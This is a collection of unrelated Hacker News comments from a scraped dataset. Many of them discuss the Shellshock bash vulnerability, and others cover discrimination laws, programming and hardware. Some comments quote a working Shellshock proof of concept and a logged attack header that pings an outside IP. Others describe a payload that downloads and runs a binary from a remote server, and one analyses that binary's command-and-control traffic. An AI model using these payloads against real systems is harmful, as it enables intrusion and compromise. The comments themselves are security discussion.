skysight-inc/HackerNews huggingface dataset:
Racism is not binary. There are spectrums. People who are a little bit racist will be scared off by the law and hire the person so as not to be sued/convicted. Congratulations! anti-discrimination laws have solved a problem! Within an organisation with one/some very racist people, the threat of "that's illegal" can keep them in line and prevent them doing racist things. Anti-discrimination laws succeed again!

Laws against (say) homosexual sex, or norms/laws/rules mentioning homosexuality in schools/TV kept many homosexuals in the closet, hidden and powerless. I hope we can do the same for racism.
Eight great technologies: infographics
I second this. It means stuff typically just works (including that old chestnut hibernation), plus it means you can write OSX/iOS software still (which is why I bought one in the first place)
Can someone please elaborate as to why this works? I'm unable to understand how in hell Bash turns this PoC into "date>echo".

rm -f echo && <---- Irrelevant, removes old echo files.

env -i X=' <---- Start definition of an environment variable.
() { <---- Function definition which is expected by the parser according to the codebase.
(a)= <---- I have no idea what this [1] is or [2] does.
>\ <---- I have no Idea what this [3] is but kinda know what it does. Executing ">\echo date" in a bash term somehow yields same result as "date > echo". Is this a feature? [4] Does bash have a ">\" operator? [5]

' bash -c 'echo date'; cat echo <----- End the environment variable definition, run a new shell so that the vars get loaded and output the contents of the file "echo" if created.

I would really appreciate anyone shedding some light on [1]...[5].
Those who would discriminate on illegal grounds will always be able to manufacture plausible deniability, which the posted article clearly demonstrates.

Many people are routinely convicted/fined/sued for anti-discrimination laws. So clearly they won't "always be able to manufactor plausible deniability".
Just apply the security updates as they arrive from Apple. The highest-risk activities like running a webserver hosting CGI scripts isn't likely to apply to you. I can't say for certain nobody will find a clever client-side attack for OS/X but right now you don't need to join in the panic that many sysadmins are (rightly) feeling today.
In order to get the legislation passed you need to convert some hearts and minds. The existance of the legislation converts some more.
I guess most personal routers do not ship with bash. This is what mine says:

# ls -l /bin/*sh

lrwxrwxrwx 1 root root 12 Feb 9 2014 /bin/ash -> /bin/busybox

lrwxrwxrwx 1 root root 12 Feb 9 2014 /bin/sh -> /bin/busybox
'ShellShock' Bash Vulnerability CVE-2014-6271 Test Tool
A 0 day means we don't know of it's existence, if it's been previous mentioned and people have failed to patch it then it isn't a 0-day anymore. The term comes from the "zero days to fix". Since we've had time to fix this problem, and failed to, it is no longer a 0-day. Hypothetically, third parties might have been safe from this if they fixed it independently.
Was the training and price input necessary at all?

Doesn't random generator outperform some hedgefunds?
This is silly.

Ukraine have more women than men in term of sex ratio. So of course there is more phd awarded to women than men.

There are tons of debates on how there are less female in engineering and such but I have yet to see a reason why that is. It could be anything including something innoculous. If there is a systematically evil group that is trying to prevent women from going into CS then I am all for stopping them. But if because the women themselves just chose to do other things than CS than who am I to try to change their mind?
It does not help when an otherwise valid point is backed by a totally incorrect argument.

"a program with no side effects is a program which does nothing of any use to us" - simply wrong. There is a huge class of programs that will take an input and return an output, without any kind of interaction in between. Think of video encoding/decoding, text processing, compilers and linkers, network traffic analysis, data analysis of various kinds, etc.
It is hilarious that you claim this is not remotely exploitable in response to a post describing how a very simple and limited scan has already found thousands of vulnerable hosts in a short timeframe.

And I dare say there are lots of admins who do not know exactly what their servers are going to execute because they're using software written by other people. That's why we call them admins, not software developers.

By the way, system() can be used in quite a lot of languages, not just in plain C.

And there are definitely more attack vectors than CGI. CGI is just the most obvious one.
Show HN: Photo Investigator iOS8 Extension
CGI will typically pass most any header along as a HTTP_headername environment variable (HTTP_HOST is just one example) I'd expect most malicious exploiters to use a non-standard header, since User-Agent's value is often logged.
Could someone explain to me if what I think this gist shows is correct?

A get request is sent to the server with additional commands added to the content, which creates the file ./tmp/besh whose content comes from the ngix file from http://162.253.66.76/nginx. The executable flag is set and then the file gets executed.

The next three commands show information about the downloaded nginx file (check sums, file command info). For what reason? Is the file really an nginx server or is it just named like this to show that nginx is exploitable? I know that this is basically about the bash exploit, right?

Thanks
Ive seen 89....125 as well, bastard.

Lets all ping 198...138!
I do believe they signed a contract before getting the lend saying: "It's OK to block my car if I miss a payment by X days."

Why should they complain? If you don't agree with the terms, don't sign.
Finally. We can replace the Wall Street folks at 1 / 1.000.000 the price of today. This will be a significant boost to the economy.
This assumes that system() is calling bash, but it usually calls /bin/sh, which is often linked to something other than bash (for example, dash is used on recent Ubuntu and Debian installs).
It's pretty rubbish food he just gave you there. This is why F# has the mutable keyword. If you are so desperate to use it, that is. Most good programmers try to avoid it.

It's funny that this guy claims fitting the problem to suit FP is a bad thing. But fitting the problem to suit OOP is seemingly a good thing. There is no difference really. All problems have to be made to fit your tooling and practices in same way. The difference is how much squashing is required and the two or three second decision it takes to select the right tool. Only performance optimisations really warrant falling back to mutation of state, other than IO of course. The default should always be immutable. Don't let some brain dead OOP-only troll deter you from seeing the light.

He is speaking is riddles, like pseudo academics love to. Seriously, he is suggesting you can't have an editable text box on a GUI, written in a language like Scala, F# or OCaml? What a moron. (This link will prove particularly embarrassing to a certain person here: http://www.scala-lang.org/api/2.10.2/index.html#scala.swing....) He is arguing an argument that doesn't even exist here, but one that only exists in his own head.

Pure FP, much like pure OOP, is utter shit and painful. The sweet spot is reached by mixing the two and using a multi-paradigm language, ala F#, Scala, OCaml, etc.
>is there a plausible bridge between the impossibility of this kind of collapse and complete impossibility of black holes?

the shown impossibility of star collapse to BH is somewhat questionable for massive stars because - as i cited wikipedia in another comment - the Hawking radiation carries away less mass/energy than cosmic background brings in - the net is positive for the collapsing star.

>smashing dense cold chunks, would those necessarily radiate enough energy to prevent collapse too?

we associate "collapse/smashing" with BH i think mostly because of collapsing stars. One can scale this process out to a lot of small chunks of cold matter as you suggest flying simultaneously toward common center. Imagine the sphere with radius 1000 times radius of Sun filled with material of density of water - this is already a black hole as its Schwarzschild radius is a bit larger than those 1000 radii of Sun. Now lets say we scale the sphere radius additional 10 times - the mass scales 1000 times and the Schwarzschild radius increase 1000 times too - thus all this water may be separated by a lot of space and still be a black hole. Now imagine that all this water is outside the Schwarzschild radius and spread on some imaginary sphere and simultaneously released to fly toward the center - once all these drops cross the schwarzschild radius, even without touching each other, and with each drop feeling only pretty small gravitation from the rest of the water, they nevertheless become a BH. What kind of miracles would happen in the moment these drops cross the imaginary sphere of Schwarzschild radius? Nothing. The only change here is that any light radiated by the drops close to crossing would reach far observers as a very redshifted and any light radiated at the moment of crossing and after would never be seen by the far observers. The article suggests that the loss of mass due to Hawking radiation would be fast enough to shrink the Schwarzschild radius faster than the drops can fall into. All this cold drops flying in empty cold space would supposedly cause very intense radiation close to the schwarzschild radius border? Nope. As mentioned above in the wikipedia citation Hawking radiation is pretty cold, low intense, for that size of black hole, and in particular it is much colder than CMB, ie. the losses are less than what is brought in by CMB. Though may be in the absence of CMB if the math in the article is right the losses (given the time slowing) would be enough to shrink the Schwarzschild radius fast enough. Yet not in our real Universe with CMB.
Reminds me of this:

"Nobody really knows what the Bourne shell's grammar is. Even examination of the source code is little help." — Tom Duff

http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.41....

Sounds like a time-bomb for exploitable unexpected behavior.
There's hacks and patches on Arch Linux for getting all sensors working I believe.

I have the Asus Zenbook UX301LA see 'helpful links' at the bottom for your model.

I would argue their not the best with Linux since they have a lot of fancy sensors that don't work out of the box but their quality is excellent.

[1]https://wiki.archlinux.org/index.php/ASUS_UX301LA

[2]https://wiki.archlinux.org/index.php/ASUS_Zenbook_Prime_UX31...
What a great resource. Really wonder how to program these actuators to get your desired motion. Using kinematics is pretty much out of the window with these systems. Everything uses learning algorithms I presume.
Not allowed on the beach ever again!
Which is fair enough, but if you look at the amount of effort they are putting in to bring Swift's documentation / tooling up to speed, it seems pretty obvious that Apple themselves have high ambitions for the language.

Also, it's going to be hard to tell how much Swift code is being shipped by Apple - the interfacing with existing Obj-C code is sufficiently clean that it's relatively simple to have parts of a product implemented in Obj-C and other parts done in Swift, and we, sitting on the outside, may never know.
system() delegates to shell only in the case of one argument given to system().
It's so cute when people ridicule superior engineering like plan 9 while they wallow in the incredible quagmire of so-called pragmatic systems.
You know what would be super clever?

Discovering a case where wget shells out to bash while setting some env vars based on received headers. And then anonymously posting a supposed shellshock payload just begging to be downloaded with wget.
Interesting.

I ran the "nginx" binary thru strace in a vagrant vm and got some connection attempts to a clouldflare IP

connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("108.162.197.26")}, 16) = 0

but didn't see anything interesting being sent there... My tcpdump output showed it connects to a http server at 89.238.150.154:5 and exchanges some data there

sent >>> BUILD X86

recv >>> !* HTTP

recv >>> 190.93.240.15,190.93.241.15,141.101.112.16,190.93.243.15,190.93.242.15 pastebin.com /4HQ2w4AZ 80 2

recv >>> PING

sent >>> PONG

then it just goes to do ping/pong with the same server. At one point the process forks a separate process of itself and dies...

The pastebin link leads to an uploadcash.org file named hermoine_granger_jpg.jpg which I can assume is a payload of somekind...
... and also a reflection of how much security attention this one obscure feature has been receiving in the last 24 hours.

This is very similar to the pattern we saw with heartbleed: a terrible bug with a lot of publicity followed by a series of other vulnerabilities found of various severity as suddenly it was "all eyes on OpenSSL": http://www.openssl.org/news/secadv_20140806.txt

I wouldn't be surprised if we're going to see a repeat of that here.
Well, types are essentially sets of values. So if you can capture the values that you expect in a type, then the type system _does_ give you a guarantee.
Then this might be news to you:

https://gist.github.com/anonymous/929d622f3b36b00c0be1
The file is only named nginx. The file has been downloaded from an untrested server, 162.253.66.76, so it could be anything really.

The title/description of the gist claims it is a kernel exploit with CnC (Command and Control) capabilities. So yeah, the file is only named nginx; it doesn't have anything to do with the popular web server software of the same name. Probably named that way to avoid suspicion
Do you have a link to your site? http://songafter.com/ is a blank white page which appears to be parked by GoDaddy.
Yes, I got that too.

>89.207.135.125 - - - "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 483 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

...searching for vulnerable CPanel installs.
I've always been curious--what's the use case for the backlit keyboard?

At the surface, backlighting seems largely aesthetic to me; I have muscle memory of my keyboard layout and do not need to reference the keys at all while in the dark. (A huge tactile cue is the TrackPoint in the keyboard.) I understand that there are lots of variables: not everyone uses their machine as frequently or may not have a keyboard amenable to this.

Does anyone here feel backlit keyboards are essential? Why or why not? What is the consensus rationales?
Despite being a socialist in most respects, I have to agree with you. Property is either public, with the state responsible for all incidents and maintenance, or private with a landowner responsible and within their rights to control access.

If the private landowner has to insure and maintain the area then I can't see any reason why they should be forced to maintain access. If the state sees otherwise then the state should provide the services for the general public at the expense of the general public.
Yes, and having lambdas and unnamed parameters is a great thing when the local context is enough to explain it.

People are totally okay working with unnamed numbers and values, and it is as important with functions when you program in functional way.

We write

x2 = x1 + 10

if it makes sense in the context. When it needs a better explanation we name the value

width = 10
...
x2 = x1 + width

If we would need to name EVERY number, the code would be less readable. Same with the functions, sometimes lambda with unnamed parameters (e.g. $0 < $1) is more readable than naming the lambda and all the parameters. Each name adds a conceptual burden.
ChordBuff: hum a melody, get chords
I doubt there is a major group of deliberately evil people. But there are unconscious biases that we pretty well documented, and should be fought just as much. That's a third option between your two.
Yes but fixing that is a simple matter of replacing sh with /bin/bash.
That all depends where your shell scripts come from.

In my experience most of the shell scripts provided by packages for debian, do use /bin/sh.

A quick check of .sh files on a couple of squeeze/wheezy installs showed that the vast majority of shell scripts using Bash come from node modules, which quite frankly is not surprising.
Forgive me if I've misunderstood the problem, but isn't, for instance, a perl cgi script which happens to shell out to bash for some incidental functionality also vulnerable? The environment variable should get inherited.
> plain C that uses system() call?

Lots of code uses system()/popen() etc. If no user-controlled input is passed in as an argument, most people would have not considered that a potential vulnerability. More software than you think is going to be affected.
I am a bit confused. Why would a webserver start bash?
I'd be a lot more interested in what the BlackBerry CEO said if he announced that the browser no longer silently closed tabs, rendered popular pages without crashing, and didn't actually hang the phone requiring a complete reboot to recover.
Anecdote. I had a 2011 MBP with backlit keyboard. Never used it once. In fact, the machine ended up with windows on it because MacOS made me want to smash the thing (despite being a Unix guy) and the Boot Camp drivers didn't switch the backlight off reliably which annoyed the crap out of me.

If you're sitting in a place dark enough to need it, it's not good for you staring at the contrast between the screen and darkness so turn the light on.

Plus I don't look at the keyboard anyway.
Autoscaling is your friend, but you can also use "auto-healing" if your stack is built on Amazon's AWS OpsWorks and you just want to keep a single instance alive. It will automatically spawn a replacement instance and reattach and mount any EBS volumes.
What about using the exploit to remotely patch machines?
To all those cynics who bitch about the price of this space mission: this mission cost $74M in total. India has a population of 1252M, and a per capita income of $1500.

That means that after paying for this mission to Mars, Indians have still $1499.40 left to spend on other things.

Now stop bitching.
Systems and methods for vehicles with limited destination ability
proud to be an Indian!!
As far as I know, my parents still have old-fashioned desktop PCs. They also both have an iPad. I don't think they have laptops, though. Maybe my dad does.

I should check how much they still use their PCs. My dad used to program a lot, and my mom moderated a mailinglist and was active in a bunch of communities (for some context: I'm 40, my parents are 68). Tablet usage is definitely more passive and consumptive.
This is a perfect example of why you should never, ever put special magical values in-band with a facility which has a different purpose normally.

I know it's tempting and in many cases, it will save you a lot of work, but it will eventually lead to data corruption, or, way worse, a problem like this one here.

People in the office complain about my annoyed remarks when they succumb to the dark side and use some special values. My question "but what if a real value is ever sent that looks like one of these magic values?" is usually countered with "but who's ever going to send this value?".

This bug here is providing me with a perfect answer to that question: "Security researchers, or worse, bad guys".

There are so many ways of transferring functions to subshells that don't involve magic values in a free-form key/value store, but all of them would have been more complicated, so people chose the quick hack.

And now the sh*t has hit the fan :(
CGI scripts do
You rarely want to use strncpy. Keep in mind:

1)
char buf[1024]; strncpy(buf, "hello", sizeof buf);

now fills in 5 characters, and 1019 0 bytes in the
buffer. (i.e. you're writing 1018 nul bytes that's
usually not needed)

2)
char buf[5]; strncpy(buf, "hello", sizeof buf);

results in buf NOT being a string. (it isn't nul terminated). So with most use of strncpy, you'll have to also do

buf[sizeof buf - 1] = 0;
Rats Awesome Trading System?

The fat cats aren't going to like this...
If you had followed what Owens has written and done in Swift, you know that he has worked and pondered the language quite a bit. Dismissing it as due to "blub" is disingenuous.

Aside from brushing away the value of his opinions, such a statement also implies that Swift is in some way sufficiently removed from mainstream languages as to feel "foreign". That is not true. Swift is a pragmatic amalgam of features from many modern languages.

The issue here is that many of the ideas are not fully realized and stunted to work within the constraints for the language (such as seamless C/ObjC interop). This is what is causing generics to only be halfway there (and same with several other features). In generics, Swift aims for strictly typed, reified generics, but then leaves you only with very crude tools to create them with. Generics in Swift is an exercise in frustration. Owens' feelings for generics might have changed if the support had been more complete.
It is curious to see how bash is mentioned everywhere, while the real culprit is the interaction between some web server and bash. Seriously, polutting ENV with HTTP headers? Admins should at least be able to block this.

It should be possible to mitigate this attack (and many similar) by better header values parsing (in Apache/nginx/... - maybe in some proxy?). For instance, Content-Type header can only include alphanumeric chars + slashes. Most of the other headers are similar. User-Agent is free-form, but there is no need to pass it to ENV (and it could be sanitized to only include alphanumeric chars and spaces).

Any idea, are web server maintainers working on this?
Just as an aside - is there a particular reason you specify the type of the filesystem? Is there something specific to FAT that might make this exploit viable? I'm thinking permissions, but I'm not sure.
I tend to use the backlight on my keyboards to align my fingers and when searching for symbols.

I never felt the need to memorize where all the symbols are located since they change locations depending on keyboard type(language) anyway and i can't be bothered to.
No matter how the worlds Iphone cases become the same, the
As long as there are property taxes, it's not yours. you are renting it from the government.
It won't be as simple as scanning all IP4 space because for most vulnerable hosts you still will need to know a URL of a cgi program that can cause bash to be executed (either because they're written in shell or, more likely, that there is some path found that can cause popen()/system()/etc to be called) If you read Robert Graham's blog post about his scan for this (posted to HN earlier today) he mentioned that the hosts he found by just looking at the root URL are probably a tiny subset of what's really out there.

What we'll probably see is lots of blackhats looking at common CGI-based packages, finding a way to provoke an exploit using that, and then doing an IPv4 scan exploiting just that one. There will also be a long-tail of people mounting more directed attacks against URLs they suspect are CGI based.
So I say:

> ...it's exceedingly unlikely that the device did so while operating according to design. (Or Passtime is about to get one humongous fine and/or judgement...)

In other words, I'm saying that it might be defective, but it's unlikely (albeit possible) that the company is lying, due to the massive liability this would incur. And your response is to suggest that I'm saying it's literally impossible for it to be defective or for the company to be lying?

In short: You replied to someone suggesting that the device might not be operating according to design by complaining that nobody is suggesting this. I don't believe you are discussing this in good faith.